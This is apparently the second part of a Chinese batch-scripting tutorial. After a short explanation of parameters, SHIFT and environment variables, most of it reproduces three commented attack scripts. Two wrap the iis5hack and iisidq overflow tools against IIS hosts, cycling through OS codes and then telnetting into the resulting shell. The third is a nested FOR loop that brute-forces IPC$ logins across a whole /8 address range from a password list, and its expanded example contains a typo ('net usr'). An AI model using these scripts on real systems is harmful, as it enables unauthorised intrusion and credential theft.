`

批处理详解(2)

阅读更多

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%910个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:

C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

SHIFT.BAT 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:

批处理内容为:

ECHO %1

ECHO %2

ECHO %3

输入命令:

C:\>TEST “Program Files” Program Files

Program Files

Program

Files

在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %PASS% %PASS1% %9

SET PASS=%PASS1%        变量的传递

SET PASS1=%9

SHIFT

ECHO %PASS% %PASS1% %9

使用命令:C:\>TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量

A B L          在使用了3SHIFT之后%9变成了L

B L            变量的传递后的结果

 

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。

例一

这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exeiis5hack的命令格式为:

iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-910个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 开始版本号可有可无。程序如下。

@echo off                /*关闭命令回显

if "%1%"=="" goto help          /*判断%1是否为空,%1为目标ip

if "%2%"=="1" goto 1            /*判断%2是否为1,为1则跳转标志1

if "%2%"=="2" goto 2            /*%2为开始版本号,如果没有设置则

if "%2%"=="3" goto 3            /*如果存在则从匹配的地方开始执行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容

ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1

if errorlevel 1 goto error        /*如果返回代码为1则执行error(代码1为没有发现 0为发现并成功执行)

iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good(溢出成功后才会有字符串good)

if not errorlevel 1 goto telnet      /*如果没有错误代码1(溢出成功)就执行telnet段的内容。

echo 操作系统类型 9 失败!      /否则显示这一句

:8                /*以下代码内容参照上面

iis5hack %1 80 8 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 8 失败!

:7

iis5hack %1 80 7 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 7 失败!

:6

iis5hack %1 80 6 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 6 失败!

:5

iis5hack %1 80 5 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 5 失败!

:4

iis5hack %1 80 4 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 4 失败!

:3

iis5hack %1 80 3 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 3 失败!

:2

iis5hack %1 80 2 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 2 失败!

:1

iis5hack %1 80 1 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 1 失败!

:0

iis5hack %1 80 0 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 0 失败!

goto error

:telnet

telnet %1 88              /*开始连接目标ip88端口

goto exit              /*连接中断后跳转exit

:error              /*error段显示错误后的帮助信息

echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!

echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]

ECHO 中文:          0

ECHO 中文+sp1:      1

ECHO 英文:          2

ECHO 英文+sp1:      3

ECHO 日语:          4

ECHO 日语+sp1:      5

ECHO 韩文:          6

ECHO 韩文+sp1:      7

ECHO 墨西哥语:      8

ECHO 墨西哥语+sp1:      9

goto exit        /*跳转exit

:file          /*file段显示文件没有发现的信息

echo 文件iis5hack.exe没有发现!程序终止运行!

goto exit        /*跳转exit

:help          /*help段显示本批处理的使用格式帮助

echo 本程序用法如下:

echo iis [目标ip]

echo iis [目标ip] [开始的号码9-0]

:exit          /*exit段为程序出口

这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!

例二

这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exeiisidq.exe的用法如下:

运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>

其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"

其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 程序如下:

@echo off              /*同例一

if not EXIST iisidq.exe goto file      /*同例一

if %1 == "" goto error          /*同例一

ping %1 -n 1 | find "Received = 1"      /*同例一

if errorlevel 1 goto error1        /*同例一

set b=%1        /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip

set a=0          /*创建一个环境变量a并指定环境变量a0。由于使用整个批处理的循环所以用a来做计数器。

:no          /*no段开始

if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0

if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其

if %a%==2 set d=2 /*变动。

if %a%==3 set d=3

if %a%==4 set d=4

if %a%==5 set d=5

if %a%==6 set d=6

if %a%==7 set d=7

if %a%==9 set d=9

if %a%==10 set d=13

if %a%==11 set d=14

goto 0          /*变量传递完成后转到标志0处运行

:1

echo 正在执行第%d%!与目标%b%不能连接!正在尝试连接请等候......

:0            /*标志0开始

IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good

if errorlevel 1 goto 1          /*如果没有good字符串则没有发送成跳

/*转标志1处继续尝试发送

ping 127.0.0.1 -n 8 >nul        /*ping自己8次相当于延时8秒不显示执

/*行结果

echo 正在执行第%d%!        /*报告正在溢出的操作系统类型

telnet %b% 99            /*连接溢出端口

echo.              /*显示一个空行

if %d%==14 goto error1      /*如果操作系统类型为14则跳转error1处(循环出口)

if %d%==13 set a=11          /*开始用计数器对操作系统代码重新附值

if %d%==9 set a=10

if %d%==7 set a=9

if %d%==6 set a=7

if %d%==5 set a=6

if %d%==4 set a=5

if %d%==3 set a=4

if %d%==2 set a=3

if %d%==1 set a=2

if %d%==0 set a=1

goto no                /*附值完成跳转no段执行

:file                  /*以下都是出错后的帮助提示

echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!

goto exit

:error

echo 错误!目标ip不可识别!请使用下面的格式连接!

echo idq [目标IP]

goto exit

:error1

echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!

echo 请按照下面的格式手工尝试!

echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]

echo telnet [目标ip] [溢出端口]

:exit                /*整个程序的出口

这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f

上面的命令为1条命令。大家可以看出该命令使用了4FOR来套用的。用法为:C:\>TEST.BAT 218 当输入218回车后该命令会由第1for取初始值0%%a然后继续取第2for的初始值0%%b继续取第3for的初始值1%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)

net usr \\218.0.0.1\ipc$ 123 /u:abc

0
2
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics